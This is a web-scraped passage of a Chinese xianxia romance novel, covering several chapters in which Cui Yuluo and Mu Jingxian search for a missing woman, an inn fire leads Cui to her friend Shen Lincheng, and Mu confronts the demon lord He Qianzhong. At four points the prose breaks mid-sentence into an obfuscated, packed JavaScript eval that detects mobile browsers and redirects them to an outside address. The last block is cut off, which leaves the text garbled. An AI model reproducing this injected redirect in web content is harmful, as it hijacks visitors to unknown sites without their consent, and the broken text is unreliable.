预制菜还没有吃完,季回澜回来了。 他迈入房间,看到相对而坐的二人,将手中的三四本书放在桌上,笑道:“书拿回来了。” 慕惊弦抬眼问道:“玄昭把你们几个叫回去,是有什么事了?” 季回澜坐在二人中间,答道:“其实也没什么事,就说——” 他顿了话头,有些迟疑地看了看崔羽落。 慕惊弦道:“没事,既然已经成婚,那便是一家人,不分你我。说吧。” “之前贺千重不是想抢夺无方盘吗?但幸好没抢成。然后掌门就说需要再找个地方将无方盘封印。” 崔羽落有些困惑,目光在二人脸上晃了晃,又不好意思发问。 慕惊弦解释道:“修真界有从上古传下来的四大神器,无方盘便是其中之一。但在六年前因为这四个神器,险些导致灭世之祸,因此在那之后,这四个神器便被封印。前些日子的仙魔大战,便是因魔宗尊主贺千重想要抢夺玄昭门所守的无方盘而起,所幸未能被他夺走,并使魔宗元气大伤,退回修养了。” 崔羽落点点头,心想:这位贺千重拿的是典型的反派剧本啊。 “贺千重其实你见过,就是之前魔宗地牢里摆阵吸收他人灵气的那个人。”慕惊弦转向季回澜,“然后呢?” “然后其实也没什么了,就是要把它重新封印在一个不知道什么地方的地方。”季回澜摊手道,“我们去了其实也什么都没有做,把我们叫回去,大概是想让我们干点杂活吧。” 慕惊弦勾了勾唇角:“他们没有问你,我的情况如何了吗?” “问了,我说你与妻子生活和睦,身体也在逐渐康复,”季回澜双手一拍,“对了对了,差点忘记说正事了。玄昭把我们叫过去,实际上发现什么事都没有。但过了几天就真的出事了。” “什么事?” 季回澜正色道:“郑夫人失踪了。” 慕惊弦平静的神色终于被打破了,他难以置信道:“什么?” * 季回澜解释完,慕惊弦又恢复了往日的平静,他摆摆手:“那……没什么事情的话,你就先回宗门吧。” 季回澜震惊道:“不是,我才刚来,你就要把我赶走吗?” “那我们就……留你吃顿饭再走吧。” 季回澜吃完了预制菜,痛心疾首地离开了。 余下的两人干坐了一会儿,慕惊弦开口道:“郑夫人,是玄昭掌门宋有林的妻子。玄昭除了掌门,还有两个长老,分别是横苍长老,也就是我师尊,和青平长老。” 崔羽落静静听他说。 “我五岁时被师尊带回玄昭,我师父未曾娶妻,又一向严厉,青平长老性情冷漠,寡言少语。因此郑夫人就像我的母亲一样,待我如己出。”慕惊弦笑了笑,“不过话虽这样说,她也有一个儿子,叫作宋余舟,和我小时候经常打架。” 崔羽落笑了笑:“正常,我小时候也经常和人打架。” 慕惊弦好奇道:“和谁?” “就附近的一些同龄人啊。” “好吧,那你一定很厉害吧,看你之前在地牢的样子,虽然不像是学过武术的,但动作和反应又很果断敏捷。” “还……可以吧。”崔羽落看着他,问道,“那她失踪了,你要去找她吗?” * 崔羽落环视四周,加快步伐追上慕惊弦,问道:“你真的认路吗?” “那你自己找路走。” “我没有质疑你的意思,”崔羽落看着眼前的荒郊野岭,“我就是有点担心,天也快黑了,我们要是一直找不到城镇,晚上不好休息。” “我认路。” 崔羽落暗叹一口气。 几个时辰前慕惊弦说要去找郑夫人,而后二人收拾行李便前往玄昭门附近。眼见日头就要落下,周遭仍是望不到头的山。 【恭喜宿主,今日活力值已达标。】 “……”崔羽落觉得自己有点冲动了,压根不知道路线和计划,就跟着一个时不时发疯的人上了路。 慕惊弦却顿了下来,侧头看向她:“你走不动了?” “没有啊。” “那我们在一边休息一会儿。” 于是两人坐了下来,开始了这段旅程中的第七次休息。 崔羽落看向靠树而坐的慕惊弦。他闭着双眼,额角有一点湿润的薄汗,原本苍白的脸上染了一层浅淡的红晕,显出一种与平日不同的柔和。 崔羽落目光下移,落在了他浅色的唇上,然后继续下滑,看到了他脖颈侧边的一颗痣。 那颗痣处于堪堪能被衣服遮住的位置,此刻随着他的动作,衣领有些歪,那颗痣便全部露了出来。 盯着那颗痣看了一会儿,崔羽落收回了目光,心想:我真神经啊,一颗痣有什么好看的,自己又不是没长。 再次出发后,两人步行了许久,终于出了山。 看着眼前的灯火,崔羽落突然意识到一件事。 “你们修仙之人,出门就靠步行么?” “是的,修仙之人也是需要锻炼身体的。若是用法术来完成一切,那未免太过无趣。” “……但是这么长的路,用其它方式应该能更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388762|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快一些吧?比如御剑飞行,或者弄个车啊灵兽的。” “我没有剑,也没有车和灵兽。” “……好吧。” 两人进了一家客栈,老板看到二人,热情问道:“二位住店吗?要一间房还是两间房?” 崔羽落问道:“两间房。” 听到老板答道“好嘞”,崔羽落心道:终于不是小说里的工具人老板了。 正要付钱,却听见慕惊弦的声音在身边响起:“要一间。” 她震惊地转过头:“为什么?” 慕惊弦忽然凑近她,在她耳边轻声道:“我晚上会发作,需要你帮忙。” 她僵硬地扯了扯嘴角:“……行。” 慕惊弦把铜钱放在桌上:“你睡床,我打地铺。” 二人进了房间,崔羽落坐在床边,慕惊弦将行李放在一个柜子上,走到窗边看着外面。 “那我们休息一晚,明天继续向玄昭那边去?”崔羽落问道,“你怎么确信她在玄昭附近?” 慕惊弦仍看着窗外:“她……走不远的。” “为什么?” “她灵力微弱,身体也不甚强壮,所以,一两天时间,应该也不能走到很远的地方。” “咚咚咚”,门被敲响,崔羽落扬声道:“进来吧。” 老板和一个店小二端着托盘进了门,将托盘放在桌子上,又带上门出去了。 崔羽落坐到桌前,问道:“你怎么还点了一壶酒啊?” “是么?”慕惊弦转过身,“我前面只是给了我觉得足够的钱,没有说别的。” “……好吧。” 慕惊弦看着崔羽落给自己倒了一碗酒,好奇道:“你平常……喝酒吗?” “有时候会吧。” 确实是有时候会喝,通常是和朋友一起吃饭的时候小酌几杯。 “酒量如何?” 崔羽落爽朗地笑笑:“千杯不醉。” 反正这种古代的酒又不怎么醉人。 “厉害。” “那你呢,平常喝酒吗?酒量又如何呢?” “很少喝,酒量应该……还不错。” 饭菜吃得差不多了,慕惊弦问道;“那我们开始喝酒吧。” “怎么喝?你一杯我一杯?” “你会划拳么?” “不太会,”崔羽落眨眨眼,“不过我有一种特别的划拳方法。” “是什么?” 崔羽落依次用手比出石头、剪刀和布:“这个是石头,这个是剪刀,这个是布,你记一下,很重要的。” 慕惊弦也依次比出石头剪刀布:“石头、剪刀和布,我记住了,然后呢?” 崔羽落继续说明:“石头可以打碎剪刀,剪刀可以剪破布,布可以包住石头,所以石头可以赢剪刀,剪刀可以赢布,布可以赢石头。你……明白了吗?” “明白了,如果你出石头我出布,那就是我赢你输。” “对,就是这样。” 这样喝了几杯之后,崔羽落咂摸着唇齿间的辣劲,说道:“这样喝酒有点无聊。” 慕惊弦问道:“那怎样才能不无聊?” 崔羽落给自己续上一碗酒:“谁输了,就需要回答赢的人一个问题,然后再喝一碗酒,怎么样?” “好啊。” 第一轮,崔羽落赢了,她问道:“你……唉,我不知道问什么。” 慕惊弦平静道:“没关系的,若是我不想回答,我会告诉你换一个问题。” “好吧,那……你喜欢吃什么?” 慕惊弦想了想:“好像也没有很喜欢的,能果腹即可。” “好吧。” “……” 一壶酒见了底,崔羽落晃了晃,不知为何,觉得空落落的。 先前沉淀下的酒劲此刻涌了上来,她被呛得咳了两声。 慕惊弦撑着脸,声音传入她的耳中,却好似离她很远很远。 “我赢了,我的问题是——你,现在最想做的事情是什么?” 崔羽落抬起头,眼中反射出摇曳的烛光。可能是因为喝了酒,淡红漫上她的脸颊,又扫过她的眼眶,她的目光在这抹红的衬托下,近乎有些哀伤的缱绻。 慕惊弦听她缓缓说:“我很想……” “很想……” 却没有继续说下去。 慕惊弦看着她眼中的朦胧水光,柔声道:“想家么?” 崔羽落有些失神地垂下眼,碗中倒映出的烛火晃了晃。 “很想……玩智能手机。” 12. 夜火 慕惊弦沉默了一会儿,缓缓问道:“智能手机?” 崔羽落觉得五脏六腑火辣辣的,宛如喝了好几杯高度数的白酒:“就是……我家乡那边的一种……比较神奇的,书。” “书?” “你可以在它上面阅读到很多内容,你想看什么就可以在它上面找到什么。” “是么?” “是啊。”崔羽落喝下了最后几滴酒,“这个酒比我想的要辣好多。” “是啊,是很辣。”慕惊弦有些玩味地说,“那你……还挺喜欢看书的。” “……哈哈。” 慕惊弦看着崔羽落泛着红晕的脸,目光划过她线条流畅的鼻梁,又继续下移,最终停在了她放在桌面、指节微屈的手指上。 她的手指很修长,筋骨分明。但正因如此,食指和中指显得没那么笔直,青色的血管缠过指节,慕惊弦看着它,忽然有些愣神。 直到那只手挪出了他的视线。 崔羽落拿起筷子,夹起盘中的最后一片牛肉,笑眯眯地说:“那些行走江湖的大侠,总是说‘小二,一斤好酒,一斤牛肉’,今天我也算是体验了一回当大侠的感觉。” 她放下筷子,起身去了门外。慕惊弦看着她的背影,无声地笑了笑。 小二进门收拾好了桌子,崔羽落道了句“谢谢”,便转向慕惊弦:“走这么多路,你不累么?” ——这会儿人模人样,路上却休息了七次呢! “不累。” 吞下几乎脱口而出的“你好装啊”,崔羽落说:“我累了,洗洗睡吧。” 灭了灯躺在大床上,崔羽落很快睡着了。 她梦见自己回到了十岁时。 夕阳西斜,小镇宁静,自己穿着旧衣,提着装书的袋子,踩着砂石,悠悠前行。 “一条大河波浪宽,风吹稻花香两岸……” 她哼着新学的歌,加快步伐往家里走去。 但走着走着,周遭环境陡然变化。厮杀声渐渐充斥脑海,使她头晕目眩。 一把带血的剑刺向她心口,她踉踉跄跄地后退数步。 忽然,有人扶住了她的肩背,女子清脆的声音在耳边响起。 “当心。” 她转头看向女子,却被鲜血溅了满脸。 女子被一把刀抹了脖颈,无力地倒了下去。 浓郁的血腥气骤然涌入鼻腔,她伸手擦了擦脸上的血迹,却怎么也擦不净。 ——她猝然惊醒。 崔羽落在静谧夜色中喘着气,冷汗沾湿了里衣,此刻凉了下去,冷得她一哆嗦。 气息渐渐平复,她再难以入眠,便掀开被子,再次按照前几天的方法,尝试引气入体。 许久,她觉察到身体有了一些变化。 有一股绵延不绝的力量,随着经脉缓缓流动。她感受着它的流转,尝试将它们凝聚一处。 那股未知力量渐渐改变了轨迹,开始朝气海汇集。 当由四肢百骸而来的灵力潺潺流入气海,崔羽落发觉外界的灵气流动可以被自己感知,万物仿佛与自己建立起了一种说不清道不明的联系。 风起青萍,万物共生。 ——第一境,乘风。 她睁开眼,惊喜地想:成功了。 然后她看到慕惊弦周围的空气有了变化。 “……” 她走过去,正欲一掌将他劈晕,却发现两人周围的灵力开始缓缓交融。 但显然,她周围的灵力很微弱,而慕惊弦周围的灵力汹涌强悍,透露出危险的攻击性。 戾气。 她脑海中忽然想起先前季回澜所说的话。 不详、凶险强悍、不受控制的力量。 ——这是戾气。 纯粹、细水长流、可以控制的力量。 ——这是灵气。 既然都是自然之气,为何会大相径庭呢? 戾气愈发强势,在暗夜中四处流窜。那股原本微弱的灵力,却渐渐地自戾气流转的缝隙渗透进去,两种截然不同的力量奇妙地融为一体,又彼此中和,最终以一种深沉平和又蓄势待发的姿态,在二人之间缓缓流淌。 与受到戾气的攻击不同,崔羽落并没有感到不适,体内灵力被外界的反应影响,竟随之厚重了起来。 ——这就是双修吗? 但窗外忽然传来些喧闹的人声,将原本的静谧骤然打破。崔羽落看着眼前仿佛进入入定状态的慕惊弦,凝神听着外面的动静。 “起火了!救火啊!” “有人!快去救人!” 声音来自另一条街上的一家客栈。 崔羽落原本在想,反正自己也不能召唤水,眼前还有个不好处理的人,与其跑出去救火,不如先观望一下。 但又有人声传来,其中的内容令她一惊。 “是他放的火!把他抓起来!” “我前面看到了,他用的是邪术!他是要害死一客栈的人啊!” “妖女!” 崔羽落心想:原来是个女子。 随后她断了灵气与戾气的融合,站起身。 慕惊弦的脸色白了白。 她叹了口气,道了句“不好意思了”,便抬手将他打晕了过去,随后披上外袍,出了客栈。 她朝着火光走去,一路上时常有人走出房门,探头观察情况。 到了那燃烧的客栈前,她看到很多人来来去去,拿了水桶水盆灭火,一些从客栈中逃出的人站在街上,又庆幸又惶恐。 而一名年轻女子被几人用菜刀和铁锹指着,不仅毫无惧怕之色,反而有些自得地笑着。 崔羽落抬眼看向客栈,却见火焰在众人的动作之下,没有丝毫要减弱的意思,仍然熊熊燃烧着。 女子有些沙哑的声音在众人耳畔响起:“没用的,凡间的水当然无法浇灭我这妖女放出的邪火了,真是愚蠢。” 她低低笑了几声,抬起了手。 周围人瞬时警觉,但仍十分害怕地退了一步,生怕这妖女又要放火烧自己似的。 崔羽落环视众人,恰好和一名中年女子对视。 她走了过去,微笑道:“老板?” 女子的神色十分疲倦,但古怪的是,崔羽落没有在其中捕捉到害怕。 “姑娘有什么事吗?” “没什么事,我就是想问一下,夜里客栈究竟发生了什么呢?不知是否方便和我说说?” “姑娘啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407326|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说说当然是方便的。”女子叹了口气,继续说,“昨晚有一个男子和一个女子来住店,当时我就发现二人似乎不太对劲。” “那名女子……就是她么?”崔羽落看向被指为“妖女”的年轻女子。 “是。” “可是那个男子现在去哪了,他俩不是一起的吗?” “姑娘,不要着急,你听我慢慢说。” “可是——” 女子笑了笑,示意崔羽落看向客栈:“你看,那火其实不用灭,虽然人碰到会觉得烫,但墙、地、门啊窗啊这些死物,是没有受到影响的啊。” 崔羽落看着火光笼罩下的客栈,惊讶不已。 女子继续说:“当时那年轻女子沉默寡言,那个男子则说,这是他的妻子,怕生得厉害,让我们不要见怪。然后他俩定了一间房,到那为止都还算正常。” “是的。” “然后到了半夜,小二上楼查探的时候,发现他俩房间里有些异样。” “什么异样?” “他俩好像起了争执,小二在门外忍不住多听了一会儿,却不知怎么被发现了,然后门被打开了,他俩又假装感情很好的样子,问小二有什么事情吗。过了一会儿小二跑来跟我讲,我就纳闷他俩怎么知道有人在偷听。” 崔羽落想到小说套路中,偷听必发出声响定律:“可能不小心发出了声音?” “不会吧,其实说来有点惭愧,我那店小二很擅长偷听,就凭借这个,我们店里的几个人知道了好多离谱至极的事情呢。” “……” “他当时说没事,只是忽然有些晕,便在那里蹲了一会儿,那男的还给他了一粒药丸让他吃下,他吃下之后觉得平常老酸痛的腰和腿都不痛了,浑身上下舒服极了,说来我都想去要一粒呢。” 崔羽落心道:这确实,修真界的医药领域确实非常先进。 “然后他就出去了,出去之后又听见那年轻女子撒娇地和那男的说,想吃另一条街上的点心,后面还有一句话,声音很小,不知道说了什么,但我猜应该是那种撒娇的话吧。” “另一条街?是不是有个如家客栈的那条街?” “是的。然后小二就听见那男的说,‘好啊,我去给你偷一点’,然后那男的就从窗户里跳了出去。” “……” “然后那男的走了,那个女子就忽然打开了门,手中射出一道光,然后客栈就起了火。” “……可是她,”崔羽落疑惑道,“为什么要放火呢?” 老板却突然抬起头,一双眼直直盯着她。 不知何时,周围人的目光都聚在了崔羽落身上。 老板疲惫地笑了笑。 “你们这些人,有些仇呀怨呀,就总拿我们普通人撒气,咋着,我们普通人本来也命短,又不能手挥一挥就火来水来的,所以在你们眼里就像畜生一样了么?” 崔羽落一脸茫然:“我们这些人?” “是,别以为我没发现,你一过来,她就和见了同伙一样,眼神立马不一样了。我虽然比不上你们修仙的,但也不至于老眼昏花,什么都看不出。” 崔羽落不可思议地看向那女子,却见她笑着对自己眨了眨眼。 13. 行侠 一路人道:“那些都不重要,重要的是先把这个纵火妖女处理了!” 一男子有些迟疑地说:“可是……怎么处理呢?” 身旁人附和道:“是啊,她会放火烧客栈,自然也能放火烧了咱们呐。” 客栈老板却长叹一口气道:“大家可否听我一言。” 周围人住了口。 老板咳嗽了两声:“大晚上的,我这里闹出这种事情,惊扰了大家睡觉,实在是抱歉。” “没事的,店里没人受伤就好,要是出了人命就不好了啊。” 老板微微一笑,继续说:“大家也看到了,这火并非普通的火,不能被水浇灭,但也……并没有烧坏店里的东西。而且,既然没有人受伤,那么大家就散了吧。至于这位姑娘……” 她看向那被几名男子围住的年轻女子,却见那女子与她刚好对视上,神色不自然地变了变。 她看着她笑了笑:“至于这位姑娘,她并非要伤人,放火之事必另有原因,我再与她谈一谈。不论是因为什么原因放了火,待我们详谈之后便可知晓。” 有人说:“可是——” 老板躬身一揖:“这大半夜的,搅扰大家睡眠,实在是抱歉。各位不嫌弃的话,明后天来我店中,所有消费都可免单,就当是我请大家吃喝了,算是报答相助之恩。” 众人沉默片刻,其中一女子道:“走了走了,方老板都这样说了,我们这么站在这里做什么?火又灭不了,站着看戏么?” 她先行走出人群,信步往家里走去。 众人看着那女子,略有迟疑,但还是陆陆续续地离开了。 余下的人中,除了崔羽落和年轻女子,还有客栈老板和几个年轻人。 崔羽落记得这几人是从着火的客栈中跑出来的。 客栈老板说:“这几人是我店里的人,并非是住店的客人。” 崔羽落原本想问“为什么没有客人”,但又觉得这样有些冒犯。 她转向那纵火女子,困惑道:“你认识我?” 那女子却不回答,而是问老板:“你为什么那样做?” 老板道:“姑娘,我不知道你们这些修仙之人有什么恩怨,但你既然没有伤害我们,也没有烧坏店里东西,那又何必再为难你呢。” 女子顿了顿,道:“你这客栈,是不是晚上没什么客人来?” 老板回道:“是的。” 女子问道:“你可知为什么?” “大概半个月前,有住店的客人说半夜闹鬼。”老板叹气道,“原本大家不甚在意,但过了几天,又有住店的人说晚上闹鬼,而且不止一个人这么说。然后客栈闹鬼的事情不知为何传了出去,后来就没什么人来住店了。” 崔羽落问道:“闹鬼?怎么闹?” 老板答道:“就是半夜有鬼影,有时候还会出现鬼压床之类的。” 那女子插话道:“怎么,你想试试?” 崔羽落心想:其实还真的有点好奇这个世界的闹鬼是怎样的呢。 口中则答道:“没有没有。” 女子又说:“老板,这火过一会儿便能自己熄灭,我俩就先不打扰了。此外,今天晚上多谢你。” 老板道:“好,但我可否问一句,姑娘你和那男子究竟是怎么回事,后面为什么又放起火来了呢?” 那女子沉默了一会儿,说:“我俩就是经常吵架。” 老板没等到后面那个问题的答案,放缓语气道:“姑娘,我能问一个问题么?” “什么?” “你俩不是夫妻吧?” 女子答道:“对。” 崔羽落道:“那……” 女子见她“那”了半天没“那”出来,像是想问话又不知该不该问的样子,笑道:“那什么?那他为何说我是他的妻子?” “……” 老板看了看夜空中的火焰,又道:“姑娘,说实话,我在这开了这么多年客栈,各种江湖恩怨,杀人放火,见得不算少。我这房子里面的各种东西,这几十年里都换了好几回了。” 女子看向她,问道:“其实那个人,他是一个人贩子。” “人贩子?” “是,我便是被他从我爹娘手中买下的,我不知道他要带我去哪里。我们走了两三天,一路上他死死盯着我,我找不着机会逃。”女子笑了笑,“不过,可能是我一直装出一副怕生羞涩的样子,让他有些放松警惕。而且我还用了些其他手段。” 崔羽落好奇道:“什么手段?” 女子压低声音:“你可曾听过一句话?” “什么话?” “温柔刀,刀刀刮骨。” 崔羽落疑惑道:“这是……什么手段?” 女子摆了摆手:“你不懂就算了。简单来说就是装作有些依赖他的样子,每天楚楚可怜的,偶尔撒个娇什么的。现在想起来觉得真难受啊,但是为了逃跑也忍了。” 老板笑道:“姑娘机智。” “接着就是那店小二听到的了,我俩有了争执。那争执其实也是我装的,我和他说,‘你白天一直看街上的女子,真是令人心寒’。然后他狡辩,我就顺势和他吵了起来。” “……” “后来我和他说,我饿了,想吃点糕点,他要是能马上买来我就放过他。他就出去了,现在还没回来,也不知道是不是给人抓住了。” 崔羽落有些疑惑:“那……为什么要放火呢?” 女子看了她一会儿,道:“当时是觉得,放个火吸引大家过来,或许能趁乱跑掉。但显然这是错的。” 老板道:“姑娘,我猜测也大概是这样的。既然如此,我这里还有一些银两,到了白天,你就换身打扮,快些回家去吧。”说罢,从怀中拿出一只钱包,就要递给女子。 女子后退一步:“多谢老板,但……我不需要。” 老板疑道:“为何?那人贩子难道没有将你身上的钱财都收走么?” 女子靠近崔羽落,熟稔地挽起她的手:“老板不是看出我俩认识么?他乡遇故知果真是一大幸事。” 崔羽落虽内心一连串疑问,但仍配合地说:“是啊,我见到起火便赶来查看能否帮忙,没想到遇到了这位姐姐。” 老板一愣,笑道:“好啊,那二位姑娘务必一路当心。” 客栈的火渐渐小了,女子拉着崔羽落离开客栈。 崔羽落问道:“你……见过我?” 女子睁大双眼:“你之前还亲密地喊我姐姐呢,现在怎么都认不出我了呢?” “啊?之前?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427109|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>女子似是忽然想到什么,“啊”了一声道:“差点忘了,我现在这个模样,你认不出也正常。”随后她从袖中取出一张符,夹在二指间,口中默念咒诀。 崔羽落震惊地注视着她。 她的轮廓五官于咒诀结束的瞬间发生变化,由一个从未见过的女子,变成了崔羽落熟悉不过的模样。 是那日在魔宗与她一起逃跑、并肩作战的女子。 她看着怔忡的崔羽落,好像有些失望,问道:“我这个样子……你还是没有记起来么?” 崔羽落深吸一口气:“没有。” 她沮丧道:“真把我忘了啊?” 崔羽落忙摆摆手道:“不是不是,我的意思是,我没有没记起来你。没有没记起来的意思,就是我记得。” 她高兴道:“这才对啊,居然在这里也能遇见,我们果然是有缘。对了,之前情况危急,咱俩还不知道对方叫什么呢。我叫沈临澄,你呢?” 说了自己的姓名,崔羽落问道:“当时在魔宗地牢,我们都昏迷过去了,之后你去了哪里呀?” 沈临澄道:“我醒来的时候在一处山庄,受的伤都被人包扎过了。而且我觉得他们用的药好生厉害啊,没过几天就都好得差不多了,其他地方也都恢复如常了。” 崔羽落道:“是啊,那后来呢?” “恢复好了我就离开了,继续浪迹江湖行侠仗义。不过后面我又遇到了一个人。” “什么人?” “一个要收我做徒弟的人。”沈临澄皱了皱眉,“真奇怪啊,为什么总是遇到些要收我当徒弟的人呢?我记得那天我见到几个混混欺负一个大爷,我就上去和他们说,这样是不对的。结果你猜怎么着?” “怎么了?” 沈临澄摇摇头:“那几个混混,每个人直接掏出一把刀,上来就要砍我,气势汹汹的,要不是我略懂一些武功,也拿出了我的那柄匕首,怕是那天就被他们切成臊子做面吃了呢。” 崔羽落无声笑了笑。 沈临澄继续说:“不过我还没来得及把他们都打趴下,忽然不知从哪冒出一个人,那个人直接用法术击昏了他们,然后过来问我,家住何处?多大年岁?亲人何在?” 崔羽落问道:“那他是什么人?” “说来也是有趣,她看上去也就是个年轻女子的模样,实际上却是玄昭门的一个长老。长老长老,长得却一点也不老,很年轻好看呢。她知道了我的情况,就问我愿不愿意做她的徒儿,然后说能给我一堆好处。” 崔羽落心想:这玄昭门倒真是有趣,跟刷kpi一样地发offer。 “然后我一想,确实不错,而且她也没有说我得一直待在玄昭门,依然可以到处浪迹,我就答应了。”沈临澄目光灼灼,“后来我问她,为什么要收我为徒。她回答说,很欣赏我的侠义心肠,哈哈哈哈。” 崔羽落道:“是啊,姐姐确实是侠义心肠,人美心善。” 沈临澄笑眼弯弯:“妹妹啊,你这样夸我,我真的要得意忘形了。” “不过,后来你为什么遇到那个人贩子了呢?” “自然也是为了行侠仗义了。”沈临澄道,“我前段时间在这附近走动,然后注意到一个女子和一个男子很是奇怪。那男子就是方才所说的人贩子。” 14. 魔气 “那个女子是被人贩子拐走的,然后……你扮成了她的样子,换她出去,自己和那人贩子走了么?” “是啊,我一开始察觉不对,就用一些术法尝试和那女子交流,然后让她去一个地方假装小解,趁机互换了衣服,又易容成她的模样,和她换了。” 崔羽落点点头:“然后……你和他一路到了这里,住到了这个客栈,不过姐姐,我还是有一点不懂。” “什么?” “我记得上次在地牢,你故意被魔宗的人抓进去,是为了解救里面的人。那么这次你故意跟着那个男子,我想除了让原来的那个女生跑远一些,还有一个原因是,你想跟着看看他们贩卖的路线和窝点是什么样的吧?” “是啊,知己知彼百战不殆嘛。” “但是姐姐,”崔羽落看着她,“你为什么要放火呢?这样不是会引起那个男子的怀疑么?” * 房间内,慕惊弦已然清醒。 唤醒他的是一股不明来处的魔气。那股魔气与他体内的戾气共鸣,使他的经脉火烧火燎。戾气游走其中,淤血上涌,他竟蓦地吐出一口血来。 他缓了缓气息,擦去唇边血迹,环视四周,却发现本该躺在床上的崔羽落不见了。 他深吸一口气,披上外袍,轻轻从窗口跃了下去。 长街上只有月光游过。 忽然,他听到一阵脚步声。 那脚步声很匆忙,似是在逃跑。他略略压制了一下/体内流窜的戾气,便循声追了过去。 脚步在一个破旧的门前停了下来,男子猝然跪倒在地,转头看向一步步走过来的慕惊弦。 男子看着他身上渐渐生出暗涌的戾气,急忙道:“仙君仙君,我都说,我都交代,你不不不、不要杀我!” 慕惊弦停下脚步,问道:“你……要交代什么?” 男子语速很快地说:“我只是和我的娘子出门游玩,大半夜的时候我娘子忽然说有些饿,想吃前面那条街上的糕点,但是,但是这个时候了,糕点铺子早就关门了,我只能……” “只能什么?” “只能翻窗进去,看看能不能偷一点。”男子抬头看着他,十分紧张的样子,“就就、就这些了。” 慕惊弦垂眼看着他:“那你跑什么?” 男子噎了一下,随后尴尬地笑笑:“毕竟是偷了东西,心虚嘛,所以得赶紧跑啊。然后我娘子饿得慌,我怕回去得迟了,又得挨骂。” 慕惊弦扯了扯嘴角:“是么?” “不敢有半句假话啊!” “可是你身上,为什么会有魔气?” “魔魔魔……魔气?”男子看上去快要晕过去了,“怎么可能?” ——他只是个普通不过的人贩子啊,每天为了总部的任务累死累活地到处跑,哪里有时间去修炼出魔气? “但是你身上确实有魔气。” “可能、可能是遇到什么妖魔鬼怪的,身上不小心沾上了一点吧。”男子仰天长叹一声,随后求饶似的看向慕惊弦,“我真的只是一个普通人啊!啊不,我小时候跟着一个江湖骗子学过一点武功,所以会一点轻功,只有这么一点不那么普通了。” 慕惊弦见他身上除了一丝微弱魔气,其他地方的确只是个普通人的模样,心中揣度着哪里会有魔气。 就在这时,他四肢百骸中的戾气陡然变得凶悍,它们渐渐地变得汹涌,肆无忌惮地在他曾受过重创的经脉中流窜。 他眼前一黑,一口淤血自胸口涌了上来。 血染红了他的袖口和前襟,他的脸色瞬间变得苍白如纸。一股阴寒之气骤然侵袭而来,随之而起的阴冷疾风掀起他的头发与衣袍。 他再次运气压制戾气,却见眼前的男子被石化一般,保持着先前的姿势一动不动。惶恐的神情雕刻在面部,在暗沉夜色中显得诡异无比。 他缓缓转头。 一名黑袍男子正站在他眼前。 “是你。” 这名黑袍男子,正是先前地牢中使用法阵抽取灵气的那个人,也是更久前挑起仙魔大战,欲抢夺无方盘的人。 贺千重的脸上缓缓浮现出一个微笑:“是我。没想到这么快又见面了。” 慕惊弦同样笑了笑,随后身周戾气大盛。流转的暗光映照着他苍白的脸色与泛出紫芒的眼睛,以及他与先前戾气失控时全然不同、神色自如的面容。 贺千重却只是静静看着他,不作任何反应。 “怎么,你要在这里把我杀了么?我劝你还是不要这样,”贺千重微笑道,“毕竟慕容随的徒弟、玄昭门的骄子,若是死在了这样一个荒凉镇子,那可真是太不体面了,你说是不是?” “是啊,若是贺尊主死在了这样一个荒凉的地方,那可真是太丢人了。” 酝酿的戾气陡然发作,向着贺千重袭去。 贺千重冷笑一声,从怀中取出一样物品。 那物品外形窄长,其上似有雕刻的纹路。此刻,那物之上华光流转,隐隐现出诡谲的图腾。 法咒凭空而生,将慕惊弦困顿于脚下方寸之地。 与此同时,戾气落在贺千重身上,他身形一晃,口中呛出一口血来。 他看了一眼手上器物,擦了擦嘴角血迹,摇摇头:“这玩意没我想象中的好用啊。” 随后他又道:“你知道我为什么会出现在这里吗?” 见慕惊弦不回答,他哈哈一笑,继续说:“当然是因为你啊。” 语毕,他袍袖一扬,遁入暗夜。 随着贺千重离开,慕惊弦的束缚解开了。 他回想着方才的场景,神情凝重。 ——瞬行千里,画地为牢。 他手上有四方灵器之一的无量尺。 先前他又想抢夺玄昭所守的无方盘……他想要做什么呢? * 沈临澄顿了顿,道:“如果我说,放火是因为先前看到了你,才以这种方式引你过来,你信吗?” 崔羽落一愣:“啊?” 沈临澄见她困惑的模样,忍俊不禁道:“当然不是啦!虽然我也很想见到你,但放火确实另有原因。” 崔羽落沉吟道:“我记得前面老板说道,这些日子客栈有闹鬼?” “是了,就是因为这个。”沈临澄笑眯眯道,“我昨夜住进去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 